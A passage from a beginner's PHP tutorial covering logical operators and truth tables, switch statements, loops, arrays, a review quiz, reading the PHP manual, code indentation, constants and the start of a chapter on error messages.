The NOR combination is the next extended combination. Its like NAND but with OR instead of AND. As PHP dont have such an operator build in you must build it the same as for NAND.

<?php
$check 
= !($var1 or $var);    // OR -> NOT = NOR
$check = !$var1 or $var;      // not an NOR as it only negates $var1
?>

And in digital eletronics its the same as with NAND.

NOR operation as graphic symbol Img.:NOR operation as graphic symbol

The truth table looks as followed.

Truth table of the NOR operator
Argument 1 (A) Argument 2 (B) Result (Q)
0 0 1
0 1 0
1 0 0
1 1 0

7. XOR combination

The third extended operation is the XOR combination. It works like OR but exactly one value must be true to get true.

<?php
$check 
= ($var1 and !$var2) or (!$var1 and $var2);
?>

As noone wants to write such a combination with the 3 basic combination PHP implements this combination with the xor operator. The x stands for exclusive.

<?php
$check 
false xor false;  // false
$check true  xor false;  // true
$check false xor true;   // true
$check true  xor true;   // false

$sex_valid $is_male xor $is_female;
?>

In digital eletronics the following graphic symbol is used.

XOR operation as graphic symbol Img.:XOR operation as graphic symbol

The =1 shows that the sum of the inputs must be exactly 1 to get the result true.

Truth table of the XOR operator
Argument 1 (A) Argument 2 (B) Result (Q)
0 0 0
0 1 1
1 0 1
1 1 0

8. XNOR combination

The XNOR operation is easy. Its just the negation of XOR.

<?php
$check 
= !(false xor false); // true
$check = !(false xor  true); // false
$check = !(true  xor false); // false
$check = !(true  xor true ); // true
?>

The graphic symbol looks as followed.

XNOR-Verknüpfung als Schaltzeichen Img.:XNOR-Verknüpfung als Schaltzeichen
Truth table of the XOR operator
Argument 1 (A) Argument 2 (B) Result (Q)
0 0 1
0 1 0
1 0 0
1 1 1

9. Rules for simplify a condition

In digital eletronics there are several rules to simplify a condition/combination. These can be also applied in php scripts.

<?php
$check 
true  and $var/* is the same as: */ $check $var;  // the true is useless
$check false and $var/* is the same as: */ $check false// it is always false
$check true  or  $var/* is the same as: */ $check true;  // it is always true
$check false or  $var/* is the same as: */ $check $var;  // the false is useless
?>

And there is something like double negation

<?php
$check 
= !(!$check); // like 'minus times minus'
?>

Much important are the De Morgan's law. In some circumstances you can convert an AND into an OR and the other way round.

<?php
$check 
= !$var1 and !$var2;
$check = !($var1 or $var2); // the same

$check = !($var1 and $var2);
$check = !$var1 or !$var2;  // the same
?>

You exclude the negation and switch the combination. This can be used to increase the readability of your php scripts.

<?php
$skip 
= !(('.' != $var) and ('..' != $var));   // what do I check? both values shouldn't be two values? I dont get it...
$skip = !(!(('.' == $var) or ('..' == $var))); // resolve double negation
$skip = ('.' == $var) or ('..' == $var);       // okay, now I get it
?>

Questions about the chapter

No questions

Switch statements

  1. Switch statements

1. Switch statements

A switch statement is a special control structure. Instead of checking any condition or expression like an if statement a switch statement can only be used to compare a expression agains a list of other expressions. It uses internally the compare operator ==.

Such a switch statement can be create with the keyword switch. It is followed by an expression written in parentheses, typically a variable. After that the body of the switch statement is followed, which starts and ends with curly brackets ({ and }).

<?php
switch ($var) {
}
?>

Inside of the switch body you can add case lines. The php interpreter jumps to this line if the expression has the same value as the value behind the case keyword. After the case expression there must be placed a colon :.

<?php
switch ($var) {
case 
5:   // jump here if 5 == $var
case "b"// jump here if "b" == $var
}
?>

This is like a goto command, however such a command dont exists in php. If php jumps to a case block he executes the php code standing there. If he find any other case lines php ignores them. This also means the block doesn't stop at the next case.

<?php
$var 
4;
switch (
$var) {
case 
0:
    echo 
"I am not executed";
case 
4:
    echo 
"I get executed";
case 
90:
    echo 
"But I get executed, too";
}
?>

If you dont want this add a break statement. This will quit the case part and jumps to the end of the switch statement.

<?php
$var 
4;
switch (
$var) {
case 
0:
    echo 
"I am not executed";
    break;
case 
4:
    echo 
"I get executed";
    break;
case 
90:
    break; 
// useless as you are already at the end
}
?>

If there is no matching case php jumps to the default: line, if there is one.

<?php
switch ($formaction) {
case 
'delete':
    echo 
"Something gets deleted";
    break;
case 
'save':
    echo 
"Something gets saved";
    break;
default:
    echo 
"Show something or do something if no case is matched";
    break;
case 
'reload'// can be found and is NOT catched by the default line 
    
echo "Something gets reloaded";
    break;
}
?>

It is possible to add a default: line everywhere but such a block should be only placed as the last of all case blocks. This will increased the readability of your scripts. First an expression is checked again every case line and if no case line is found the default: line is loaded. Its like an else part of an if statement.

Questions about the chapter

No questions

Abbreviations

  1. Assignment operator
  2. In-/decrement

1. Assignment operator

There are some assignment operators in php which changes the content of a variable depending of its current content.

<?php
$var 
5;

$var $var 10;

$var += 10;
?>

The second adds the value of the variable and a constant value together and saves it in the variable. The third statements instead adds the value right on the current value of the variable and saves it. You must not place any whitespaces between + and = as this is a predefined operator.

<?php
$var 
5;

$var += 10;  // correct
$var + = 10// wrong, results in an parse error
?>

This abbreviation can be used for every number calculation operators, even with / and %. However you shouldn't divide by 0 (of course).

<?php
$var 
20;

$var +=4// $var == 24
$var *=4// $var == 96
$var -=4// $var == 92
$var /=4// $var == 23
$var %=4// $var == 3  (23/4 = 5, remaining 3)

?>

This abbreviation can also be used for the concat operator . to append very fast new text to a variable.

<?php
$x 
5;

$string  "Hi \n";
$string .= "You can add new text easily.\n";
$string .= 'test';
$string .= 'The variable have the value '.$x."\n";
?>

In the last line the expression on the right gets calculated first and then is appended to the variable.

2. In-/decrement

Often you want to change a variable by increasing or decreasing the value by 1. For this reason there are increment and decrement operators in php, similar to C.

<?php
$name 
10;

$name++;    // increase by 1

echo $name// outputs 11
?>

Thats for increment, for decrement use the -- operator.

<?php
$name 
10;

$name--;    // decrease by 1

echo $name// outputs 9
?>

There aren't such operators for multiplication of division, these wouldn't make any sense. These increment and decrement operators are often used for for loops.

Questions about the chapter

No questions

Loops

  1. Meaning of loops
  2. While loop
  3. Do-while loop
  4. For loop
  5. When while and when for loops?
  6. Continue and Break

1. Meaning of loops

Loops are for executing some part of code more than once. The body of the loops get executed with some different content of variables. Additional the number of iterations are controlled by an expression/condition. If the expression results to false the loop is stopped and the following php code gets execute. As an example news entries are read from a database. Such a loop prints a single news (with title, date, content,...). If there aren't any news left the loop quits and the following php code gets execute.

There are 4 types of loops, however we discuss only 3 of them. The forth type is explained in the chapter Arrays as that is a special loop for arrays. The other loops are while, do-while and for.

2. While loop

The while loop is the easiest loop type. It got a loop header with only one expression. This expression get evaluated before the next iteration and checked agains boolean. If the expression results true the loop body gets executed once. Then the next check of the expression takes place. If the expression results in false the loop is quitted and the following php code gets executed. As the expression is checked on every iteration the value must be get false at some point. If not you get an endless loop and the scripts is terminated by the webserver as the scripts runs for too long, as it cannot left the loop (default is 30 seconds).

A while loop is created with the keyword while. Then the expression to checked is followed in parentheses (()). After that a single statement or a block of statements with curly brackets is followed. As for one statements the curly brackets are not needed you should use always use curly brackets for readability.

<?php
while (CarIsDirty()) {
    
CleanTheCar();
}
?>

There is no restriction how the expression is build (with and's, or's, function calls...), however it must return a value to check.

3. Do-while loop

A do-while loop got an expression to check like the while loop. However the expression is at the end of the loop body and gets checked at this location. As the loop body is before the loop header the loop gets executed at least one time, even if the expression shows false. Thats the different to a while loop. If you need a loop which must be iterated at least one time use a do-while loop. If you need a loop which can be iterated zero times use a while loop.

A do-while loop is created with the keyword do. After that the loop body is added (again it should be always written with curly brackets). After the loop body exists the while keyword, the expression to check (in parentheses) and it MUST followed by a semicolon. At a while loop the semicolon is not followed (as wrong as in if ();) but it MUST be written if you have a do-while loop.

<?php
do {
    
connect();
    
$data getSomeData();
    
disconnect();
} while (
$data 40);
?>

4. For loop

A for loop is like a while loop with an expression to check. However it got 2 additional statements. The first one is an statement which is executed once (automatically), the second one one is executed after each iteration.

A for loop is created with the for keyword. It is followed by 3 expressions, each of them seperated by a ;. The whole list is written in parentheses. After the loop header there is the normal loop body with statements.

<?php
for (start_statementconditioniteration_statement) {
    
// statements
}
?>

At the beginning the start_statement part get executed (once). Then the condition is checked like in a while loop. After one iteration before the condition is checked again the iteration_statement part is executed.

<?php
// outputs the number from 0 to 9 (for 10 the condition is false)
for ($i=0$i<10$i++) {
    echo 
$i."\n";
}
?>

5. When while and when for loops?

As the while loop and the for loop are very similar there may be the question when to use a while and when to use a for loop. It's even possible to convert a while loop into a for loop and the other way round.

<?php
while (condition) {
   
statements;
}
// convert to for:
for (;condition;) {
   
statements;
}
?>
<?php
for (startconditer) {
    
statements;
}
// convert to while:
start;
while (
cond) {
    
statements;
    
iter;
}
?>

The number of iterations is not the reason to decide if you use a while or a for loop. However you use a for loop if you know the number of iterations. If you know it you can create at counting loop, which iterate from a value to an other value.

<?php
for ($i=0$i<10$i++) {
    
// do something with $i ($i iterates from 0 to 9)
}
?>

You use a while loop if you don't know the number of iterations (even if you can calculate the iterations somehow in your script). As an example you can read the rows out of a database, but don't know how many there are (and you actually don't care).

<?php
while (ThereAreSomeRowsLeft()) {
    
OutputTheNextRow();
}
?>

You can also read a files content which a while loop, although you can get the file size with filesize.

<?php
while (!FileEnds()) {
    
ReadOneByte();
}
?>

6. Continue and Break

The flow of a loop can also changed with other statements. You can use return to quits a loop. However, return can be use almost everywhere and has nothing to do with loops. But there exists two statements specially for loops, continue and break.

An if statement cannot be controlled this way as an if statement is not a loop. Programm code like if (...) { ..... break; .....} only works if this if statement is inside a loop and this break; actually controls the loop.

Both statements can be used with a number which indicates how many loops should be stopped/continued. The current loop is always the number 1 and is increased as much as you nested a loop inside an other loop. The statement break 1; is the same as break; (without a number).

<?php
$found 
false;
for (
$x=0$x<100$x++) {
    for (
$y=0$y<100$y++) {
        for (
$z=0$z<100$z++) {
            if (
PixelColor($x$y$z) == 0xFFCCFF) {
                
$found true;
                break 
3;
            }
        }
    }
}
?>

These nested loops get executed 100*100*100 times, that are 1 million iterations. If the execution of PixelColor(int, int, int) needs only 10 µs this code will run for 10 seconds. With break 3; we quit all 3 loops if we found the pixel we are looking for. However, if the pixel is not found we run 1 million iterations anyway.

Questions about the chapter

No questions

Arrays

  1. Layout of arrays
  2. Usage of arrays
  3. Foreach loop

1. Layout of arrays

Arrays are very important to php. Form data and URL variables are saved in arrays. Values from a database are saved in arrays. Everything what is something like a mathematic function can be build with arrays. Per defintion an array is an ordered list (does not mean they are sorted) of pairs which each pair got a key and a value. These keys must be only integer numbers or strings. However the values can be everything, even arrays. A single array value can be use like a variable.

2. Usage of arrays

Arrays can be created with the language construct array. The values of the array are given as parameters.

<?php
$arr 
= array("foo""bar""bla"5.6false, -10"foo""foo""bar""foo");
?>

This array got 10 values. The keys, sometime called indexes, are generated automatically, starting by 0 ascending. The first value gets the index 0 and the last one gets the index 9. This can be checked with var_dump.

array(10) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(3) "bla"
  [3]=>
  float(5.6)
  [4]=>
  bool(false)
  [5]=>
  int(-10)
  [6]=>
  string(3) "foo"
  [7]=>
  string(3) "foo"
  [8]=>
  string(3) "bar"
  [9]=>
  string(3) "foo"
}

To get such a field use the array and brackets for the index.

<?php
$arr 
= array("foo""bar""bla"5.6false, -10"foo""foo""bar""foo");
echo 
$arr[0]; // outputs foo
echo $arr[3]; // outputs 5.6
echo $arr[4]; // outputs nothing as the string representation of bool(false) is an empty string
var_dump($arr[4]); // outputs bool(false);
?>

As you see its possible to have same values in the array as they got different keys. So there are 4 array entries with the value foo at the indexes 0, 6, 7 and 9.

The value can be changed as you want if you replace the value with all the operators you know.

<?php
$arr 
= array("one""two");
$arr[1] = "five";
?>

If there is already an array entry with the given index the old value will be overwritten. If there isn't such an array entry with the given index a new array entry is created with the given key and value. So its possible to create an empty array and fills it with keys and values later on.

<?php
$arr 
= array();
$arr[3] = "value";
$arr[9] = "another value";
var_dump($arr);
?>

The var_dump creates the following output.

array(2) {
  [3]=>
  string(4) "value"
  [9]=>
  string(13) "another value"
}

As you see we got an array of the size of 2 entries, with the indexes 3 and 9 and the values value and another value. As mentioned the array is not sorted but there are a lot of sorting functions to do so.

Instead of numbers you can use strings as keys.

<?php
$user 
= array();
$user['name'] = 'John Doe';
$user['age'] = 18;
$user['home'] = 'Somewhere';

echo 
'My name is '.$user['name'].', I am '.$user['age'].' old and living in '.$user['home'].".\n";

var_dump($user);
?>

Die Ausgabe ist dabei wie folgt:

My name is John Doe, I am 18 old and living in Somewhere.
array(3) {
  ["name"]=>
  string(8) "John Doe"
  ["age"]=>
  int(18)
  ["home"]=>
  string(9) "Somewhere"
}

Arrays which use strings as indexes are called associative arrays. All other kind of arrays are called just arrays or nummeric arrays.

If you assign a value to an array entry without an index given (as in $arr[]) the key is automatically generated as the biggest index number +1, but at least the value 0.

<?php
$foo 
= array();
$foo[] = "value";   // Index 0 is used
$foo[] = "value";   // Index 1 is used, biggest index was 0
$foo[10] = "value"// Index 10 is used as given
$foo[] = "value";   // Index 11 is used, biggest index was 10
var_dump($foo);

$foo = array();
$foo[-5] = "value"// Index -5 is used as given
$foo[] = "value";   // Index 0 is used, biggest index was -5 but at least 0 is used
var_dump($foo);
?>

The following output is generated.

array(4) {
  [0]=>
  string(5) "value"
  [1]=>
  string(5) "value"
  [10]=>
  string(5) "value"
  [11]=>
  string(5) "value"
}
array(2) {
  [-5]=>
  string(5) "value"
  [0]=>
  string(5) "value"
}

The indexes can also be assigned during the array construct. Instead of writing the value you can pretend the value with x => where x is the index for the value.

<?php
$bar 
= array(=> "bar""foo");
// 2. value gets the index 6

$var = array(-10 => "abc""xyz");
// 2. value gets the index 0

$var = array("name" => "John Doe""foobar");
// 2. value gets the index 0
?>

To delete an array entry use the funktion unset.

<?php
$arr 
= array();
$arr[] = "foo";
$arr[] = "bar";
$arr[] = "xyz";

unset (
$arr[1]); // the entry "bar"

var_dump($arr);
?>

The output shows the entry with the index 1 is deleted, however the indexes 0 and 2 still exists.

array(2) {
  [0]=>
  string(3) "foo"
  [2]=>
  string(3) "xyz"
}

You can even use the compare operators == and ===, and the + operator. To arrays are the same (==) if they match in the same array entries and are identically (===) if they got the array entries in the same order and of the same type.

<?php
var_dump
(array("x""y") == array(=> "y"=> "x"));  // bool(true)
var_dump(array("x""y") === array(=> "y"=> "x")); // bool(false)
?>

You can merge array together with the + operator. Indexes which are already used are not overwritten. If you really want to merge all values together use a function like array_merge.

<?php
var_dump
(array("x") + array("y"));
// an array with just one value 'x' as both temporary arrays use the same key 0

var_dump(array_merge(array("x"), array("y")));
// an array with both values 'x' and 'y'
?>

3. Foreach loop

For arrays there exists a special loop called foreach. You can use it to iterate over all array entries. A foreach loop starts with the keyword foreach. Then a opening parenthese is followed with the array or variable to iterate on. After that the keyword as is followed with a new variable. After you use the closing parenthese the loop body followes.

<?php
$a 
= array("foo""bar""bla");
foreach (
$a as $value) {
    echo 
$value."\n";
}
// outputs the value of the array
?>

If you need also the keys for each iteration pretend before your new variable the code $var =>.

<?php
$user 
= array('name' => "John Doe",
              
'age' => 18,
              
'home' => 'Somewhere',
              
10 => 100);
foreach (
$user as $k => $v) {
    echo 
"Array value with the index '".$k."' got the contents: ".$v."\n";
}
?>

The indexes are used if you want to change the array inside the loop. The loop variables ($k and $v in the last example) are only copies of the origin array values. If you want to change a value in the array use the normal array[index] syntax.

Questions about the chapter

No questions

Checkpoint

  1. So far so good

1. So far so good

Now you have all basics of php learned. Sure, there are a lot of more to learn like OOP or references, not to mentioned about extensions like mysqli. However, this is a good point to check the stuff you learned in the chapters before. For this reason there are some questions you should answered before proceeding to the next chapters.

Questions about the chapter

1. When do you use a while loop or a for loop?

A while loop is used if you dont know how many iterations you will have. The for loop use a special layout to count a variable from one value to another value. So a for loop is used to runs a programm block a given number of iterations.

2. Which comment types exists?

There are one line comments which starts with // and there are multi line comments which starts with /* (or /**) and ends with */.

3. How does a function call looks?

If you want to call a function use the name of the function. After that you can provide parameters for the function. These are seperated with commas and the whole parameter list is written in parentheses. And then the function call (and all other statements) are finished with a ;.

4. What runs on a server, what runs on a client?

PHP is only executed and interpreted on the server. Actions like "starting winamp" is not possible. PHP itself just generate a html document.

5. How do I subtract 1 from a value?

There are 3 possible ways.

<?php
$var 
10;

$var $var 1;
$var -= 1;
$var--;
?>

6. What datatypes exists in php?

There are the following datatypes.

  1. boolean

  2. integer

  3. float, double

  4. String

  5. Array

You haven't learned the following datatypes yet.

  1. Object

  2. Resource

  3. Null

7. How do I concatenate 2 strings, 2 variables or one string and one variable together?

Expressions can be concatenate with the dot (.) operator.

<?php
$string1 
"foo";
$string2 "bar";
            
$var "bla"."blu";
$var "bli".$string1;
$var $string1.$string2;
?>

8. How starts and end a php document?

A php document starts with <?php and ends with ?>.

9. How starts a html document?

A html document starts with the DOCTYPE which defines what kind of html document is used.

10. Which both parts are send from the server to the client and in which order?

First the server sends the headers of the requested file/URL. After that the content is send. If some content is already send (like a space, but also the BOM) the headers cannot be changed as they are gone.

11. What is the result of (!(!true XOR true) AND !(!false OR !true)) XOR (false OR (true XOR !false))?

The result is false.

(!(!true XOR true) AND !(!false OR !true)) XOR (false OR (true XOR !false))
(!(false XOR true) AND !( true  OR false)) XOR (false OR (true XOR  true ))
(!(     true     ) AND !(       true    )) XOR (false OR (    false      ))
(     false        AND       false       ) XOR (false OR      false       )
(                 false                  ) XOR (          false           )
                                      false
            

12. Whats the diffence between \n and <br />?

\n is an escape sequence in php and results in a newline in the output of the html code. <br /> however is an html tag which creates a new line in the browsers output.

13. When gets an else part executed?

If the expression in the if part results in false then the else part gets executed.

14. What does break; and what continue;?

break; stops the current loop or switch and continues with the next php code. continue; cancels the current iteration and begins with the next one. In a for loop the iteration statement gets also executed.

15. What is a valid index for an array entry?

An index can only be an integer number or a string.

16. Write a script which saves the integer numbers from -10 to +10 in an array

<?php
$array 
= array(); // create an empty array

for ($i=-10$i<=10$i++) {
    
$array[] = $i;
}
// easier: $array = range(-10, 10);
?>

17. Write a script which saves all even numbers between $start and $stop in an array

<?php
// $start and $stop are defined somewhere before

$array = array(); // create an empty array

if ($start%2) { // if the division results in a remaining of 2
    
$start++;   // increase the value by one
}
for (
$i=$start$i<=$stop$i+=2) {
    
$array[] = $i;
}
?>

18. Write a script which sets the two last digits of an integer variable to 0

<?php
$number 
3463// example
$remain $number 100;
$number -= $remain;
echo 
$number;
           
/* shorter version

$number -= $number % 100;

*/
?>

Layout of the php manual

  1. The php manual
  2. Finding a function description
  3. How to read a function description
  4. Function description for sort()

1. The php manual

On the official homepage of php you get besides the source code and downloads of php also the manual of php. It contains some basic information about php like installation and security but also a list of all functions which exists in php. These functions are grouped together in groups like String or MySQL.

2. Finding a function description

There are a lot of function descriptions in the manual, however you must find the right one for you. First you should check the whole function reference, specially in the function groups. A function which should sort an array would be found in the group Arrays, a function to change a text in a string would be found in the group Strings. In such a group there is a list of all functions which belongs to it. Each function got a short description what they do. As an example you will find inside the group Arrays the function sort with the short description Sort an array. A click on this function gets you the description.

The easiest way for beginners (and the most annoying way for any helpers or forum moderators) is to simply ask in a forum or chat.

<user> I have a problem, I have an array in php but the values aren't sorted in any way.
       How can I sort the array?
<helper> sort
<helper2> with usort
<helper3> do you know www.php.net?
<helber4> try it with sort()
You have ben kicked from #helpchannel by operator3 (sort(), and next time check the manual at www.php.net/manual)

In most cases its just a function name. There are several ways to get the function description out of the manual.

  1. On the homepage there is a link documentation in the upper manual which gets you to the manual. As the manual is translated into several language you should alyways use the english version, as this is the most up to date version. Inside the english version is a chapter called Function Reference. As the function may be a function for array the function may be in the Arrays" section. At the bottom of this there is a sorted list of functions in this group. There you find the function sort with the description Sort an array. Click on it and you get to the detailed description.

  2. On the homepage is an input field in the top right corner which allowes you to search on the homepage. It searchs in the function reference by default but can also be changed to search in the bug database or on the whole site. You can enter the function name inside the search and get the function description or a search result list with functions which sounds similar to the entered one.

  3. The simpliest way is to open the url http://www.php.net/FUNCTIONNAME where FUNCTIONNAME is the function to search for. This call automatically starts the search and redirects you to the function description.

3. How to read a function description

As you may want to read the function description in your native language you should however read it in english to get the most up to date version of the description. This can be done by selecting English in the drop down list in the top of the page.

After the name of the function there is an expression which shows in which php version this function exists and a short description of the function.

Now the detailed function description is followed. It starts with the function signature. It contains the return value, name of the function and the parameter list. The return value shows what kind of data the function is returning. The value void means no value is returned. The parameter list shows which parameter can be used. Every parameter got the syntax type $name or type &$name. The type shows which type the parameter should be. There are some special types which doesn't exists in php like number for a float or int number. A list of all pseudo types can be found at Pseudo-types and variables used in this documenation. After the type there is the name of the parameter. This name is also used in the function description itself. If there is a & the parameter is used as a reference. If this is the case the parameter must be a variable (and cannot be a static value) and the function changes the content of the variable. Without the & just a copy of the parameter is send to the function. If a parameter is written in brackets the parameter is optional.

After the function signature there is the description about the function and its parameters. It use the same parameter names as in the parameter list above. These parameters are written in a monospace italic font. The detailed function description also contains some examples how to use the function and a detailed list of all parameters and how they work.

The return value is explained in a seperate section. For a return value of void this section is omitted, for a return value of mixed there is a lot of text which descripe which type is when returned by this function.

There is also a changelog which explaines which parameters are implemented since which php version and how a function worked before or after a given php version.

The most functions got cross references to other similar functions. Maybe you read a function description which is not exactly what you want but may find the right function in the cross reference.

At the end there are user comments for each function. These explain some hints how to use the function and provides you with a lot of examples and experiances.

4. Function description for sort()

As an example we explain the function description for sort. This function exists in the php versions php4 and php5 and according to the short description this function is used to sort an array.

The function signature explaines this function returns a boolean value, the first parameter must be an array and the second parameter must be an integer value, if given. Independent how the function works all following programm lines are possible.

<?php
$a 
= array(4610, -4);
$ret sort($a);
$ret sort($a4);
$ret sort($a0);
sort($a, -400);
sort($a9*30-5);
sort($a$a[0]); // possible as $a[0] got the value int(4)
?>

The function description got a text which explaines what the function do. In this case it sorts the array ascending. Further it says it returns true if the array is sorted or false if there was an error.

Since the second parameter can be any integer value only some of them makes sense. The description explaines that you should use the values SORT_REGULAR, SORT_NUMERIC, SORT_STRING or SORT_LOCALE_STRING to get the given behavior of the function. It looks like these values are strings and the function should be called with sort($a, "SORT_NUMERIC");, but thats not true. First, the second parameter must be an integer, not a string. Second, parameters or values written in uppercase are normally constants in php. If you check the group Arrays again you see a list of predefined constants which got the mentioned constants above. So you can use this constants for your function call.

<?php
sort
($aSORT_STRING);
sort($aSORT_NUMERIC);
?>

As cross references a list of other sort function is shown and after that the user comments finishes the function description.

Questions about the chapter

No questions

Indent

  1. Indent
  2. Indent of statements and function calls
  3. If statements
  4. Loops
  5. Funktion definitions
  6. Indent of classes
  7. Indent a switch
  8. Indent of the example above

1. Indent

To increase the readability of your php code you should indent your code in a proper way. As an example we got the following php code.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);
function 
todo($str) {
for(
$i=0;$i<strlen($str);$i++) {
if(
"z" == $str[$i]) {
$str[$i]="1";
}else{
if(
"a" == $str[$i]) {
$str[$i]="2";
}else{
switch(
$str[$i])
case 
"b":case "c":
$str[$i]=1;
break;
case 
"c":
$str[$i]=0;
}
}
}
}
class 
Foobar {
private 
$bar;
public function 
__construct($a) {
$this->bar $a;
}
public function 
replace_something() {
foreach(
$a as $value) {
if(
is_string($value)) {
$value=todo($value);
}
}
}
}
$obj = new Foobar(array("x","z"));
$obj->replace_something();
?>

It doesn't matter what this code is doing. As you see this code isn't indented in any way. You can't easily follow which block begins and which blocks end. But this is necessary to understand any php script and fixing errors. So this chapter deals about how to indent your code.

It doesn't matter how you indent your code but it should be done. Here we use the PEAR Coding Standard. All rules there use the indent of 4 spaces and dont use any tabs. This must be changed maybe in your editor. Of course there are a lot of more indent systems, check http://en.wikipedia.org/wiki/Indent_style.

2. Indent of statements and function calls

At function calls the parameters are seperated with a single space (and the comma of course). This way you can easily check how many parameters a function have. If the parameters are very long you can even write them vertically.

<?php
$str 
str_replace('Foobar''FOOBAR'$str); // spaces between parameters
$str name_xyz('A really long parameter',
                
'another parameter',
                
false,
                array(
124),
                
"foobar"); // function call with 5 parameters, the fourth one is an array
?>

You can add spaces if they increase the readability.

<?php
$var     
"Text"// <-- some spaces before the =
$longvar "Text";
?>

3. If statements

At an if statement the body is indented by one level. The opening curly bracket is written after the if condition, seperated with a space. The closing curly brackets is written in a single line at the same level as the if statement. After the if keyword a space is added.

<?php
if (condition) {
    
// statements
    
foobar();
    
barbli();
    
xyz();
    
$var "x";
}
?>

If the if statement got an else or even an else if it is written after the closing curly bracket, again seperated with a space.

<?php
if (condition) {
    
do_this();
} else if (
condition2) {
    
do_that();
} else {
    
or_this();
}
?>

4. Loops

Loop bodys are indent by one level as for if statements. The opening curly bracket is written after the loop header, seperated with a space. The closing curly bracket is written in a single line on the same indent level as the loop keyword.

<?php
while (condition) {
    
work();
}
?>

At for loops the different parts are seperated with spaces.

<?php
for ($i=0$i<10$i++) {
    
work();
}
?>

Same style is used for do-while and foreach loops.

<?php
do {
    
work();
} while (
condition);

foreach (
$array as $value) {
    
work($value);
}
?>

5. Funktion definitions

Each function definition should always have a PHPDoc comment. This way every developer can read what the function is doing. The parameters are seperated with a space. The opening curly bracket is written after the parameter list (again seperated with a space). The closing curly bracket is written on a single line at the same indent level as the function keyword. The function body is indented by one level.

<?php
/**
 * PHPDoc for the funciton foobar
 */
function foobar($bar$bla) {
    
work($bar);
    
work($bla);
}
?>

6. Indent of classes

Classes are indented in the same way. Each field and methods are seperated additionaly with an empty line. As for functions the classes should also have PHPDoc comments for each part of the class.

<?php
/**
 * PHPDoc about Foobar
 */
class Foobar {
    
/**
     * PHPDoc about $xyz
     */
    
private $xyz;

    
/**
     * PHPDoc about XYZ()
     */
    
public function XYZ() {
        
work();
    }
}
?>

7. Indent a switch

Switch statements using the same style, however the case statements are written in the same indent level as the switch keyword.

<?php
switch ($var) {
case 
'z':
    
work();
    break;
case 
'y':
    
work();
default:
    
work();
}
?>

8. Indent of the example above

We indent the example now. Here is the same example from above.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);
function 
todo($str) {
for(
$i=0;$i<strlen($str);$i++) {
if(
"z" == $str[$i]) {
$str[$i]="1";
}else{
if(
"a" == $str[$i]) {
$str[$i]="2";
}else{
switch(
$str[$i])
case 
"b":case "c":
$str[$i]=1;
break;
case 
"c":
$str[$i]=0;
}
}
}
}
class 
Foobar {
private 
$bar;
public function 
__construct($a) {
$this->bar $a;
}
public function 
replace_something() {
foreach(
$a as $value) {
if(
is_string($value)) {
$value=todo($value);
}
}
}
}
$obj = new Foobar(array("x","z"));
$obj->replace_something();
?>

And now with proper indention.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

/**
 * PHPDoc about Todo
 */
function todo($str) {
    for(
$i=0$i<strlen($str); $i++) {
        if (
"z" == $str[$i]) {
            
$str[$i]="1";
        } else {                      
// maybe replace with an else-if to save
            
if ("a" == $str[$i]) {    // one indent level
                
$str[$i]="2";
            } else {
                switch (
$str[$i]) {
                case 
"b":
                case 
"c":
                    
$str[$i]=1;
                    break;
                case 
"c":
                    
$str[$i]=0;
                }
            }
        }
    }
}

/**
 * PHPDoc about Foobar
 */
class Foobar {
    
/**
     * PHPDoc about $bar
     */
    
private $bar;

    
/**
     * PHPDoc about the constructor
     */
    
public function __construct($a) {
        
$this->bar $a;
    }

    
/**
     * PHPDoc about replace_something()
     */
    
public function replace_something() {
        foreach (
$a as $value) {
            if (
is_string($value)) {
                
$value todo($value);
            }
        }
    }
}

$obj = new Foobar(array("x","z"));
$obj->replace_something();
?>

Questions about the chapter

No questions

Constants

  1. Constants
  2. Defining and usage of constants
  3. Usage of constants

1. Constants

Constants are values like variables but cannot be changed afterwards. Additional they cannot be used for every type as for variables. They can only use scalar values and the special value NULL. In difference to variables constants can be accessed everywhere in your php scripts, even inside functions. Constants are often used for settings and parameters like error_reporting.

2. Defining and usage of constants

You can define a constant with the function define. The first parameter is the name, the second parameter is the value of the constant.

<?php
define
('SITE_NAME''My cool homepage');
?>

Constants uses the same name convention like variables (explude the dollar character $ of course). However constants are typically written in uppercase.

To access a constant simply use its name.

<?php
echo SITE_NAME;
// or like:
echo 'Welcome on '.SITE_NAME.'!';
// but not:
echo 'Welcomeon SITE_NAME!'// won't find it as a constant, its a simple string 
?>

3. Usage of constants

Constants are used for predefined functions as parameters which may be only integers or as return values which may be only integers. These contants are predefined as got useable names. As an example the function getimagesize returns some information about an image. The type of the image (png, jpeg, gif, ...) is encoded as an integer. The value 1 is for gif and the value 4 is for png. To check agains the type you could write the following code.

<?php
if (== $imagetype) {
} else if (
== $imagetype) {
}
?>

Instead of looking in the manual all the time what 1 and 4 means you should use the predefined constants instead.

<?php
if (IMAGETYPE_GIF == $imagetype) {
} else if (
IMAGETYPE_PNG == $imagetype) {
}
?>

Everyone understand what these if statements are checking. This is also used for parameters. As an example the function error_reporting expect an integer. This integer encodes by the bits it is used which errors are shown and which not. A valid function call would be the following:

<?php
error_reporting
(8191);
?>

However noone will knows what this value means. In this case you should use the E_* instead.

<?php
error_reporting
(E_ALL E_STRICT);
?>

Besides that the values of the constants can be changed for different php versions. The value of E_ALL is in php version 5.2.x 6143, but before this version it was 2047. If you use the value 2047 instead of the constants the same script may be run differently on an other php version. If you use the constants instead it runs the same all the time as the current php version knows the right value for E_ALL and use the proper integer value for this function.

Questions about the chapter

No questions

Error messages

  1. Errors in your php script
  2. Showing the error messages
  3. Syntax error
  4. Understanding error messages
  5. Finding semantic errors

1. Errors in your php script

Nobody is perfect, so you will get errors in your php script. For any developer this means you must find and fix the error. There are a lot of techniques which may help like the functions var_dump and debug_print_backtrace, even debugger support.

2. Showing the error messages

To fix an error the error must be find somehow. This can't be possible sometimes if the error messages aren't shown. Depending on the php installation and configuration only some kinds of error messages are shown. You can change the types to shown with the error_reporting function or the setting error_reporting in your php.ini file. To show all error messages set this value to E_ALL

<?php
error_reporting
(E_ALL);
?>

There is a setting called display_errors which enables/disables error message at all. During developing this setting should be enabled, but during production this setting should be disabled for security reason. There isn't a predefined function for changing this setting so we must use the ini_set function instead.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);
?>

As all error messages are shown we can fix them.

3. Syntax error

Syntax errors are the easiest errors to fix as they prevent from running the script at all. Before the php script is running the php interpreter transforms the php code into tokens.

<?php
/**
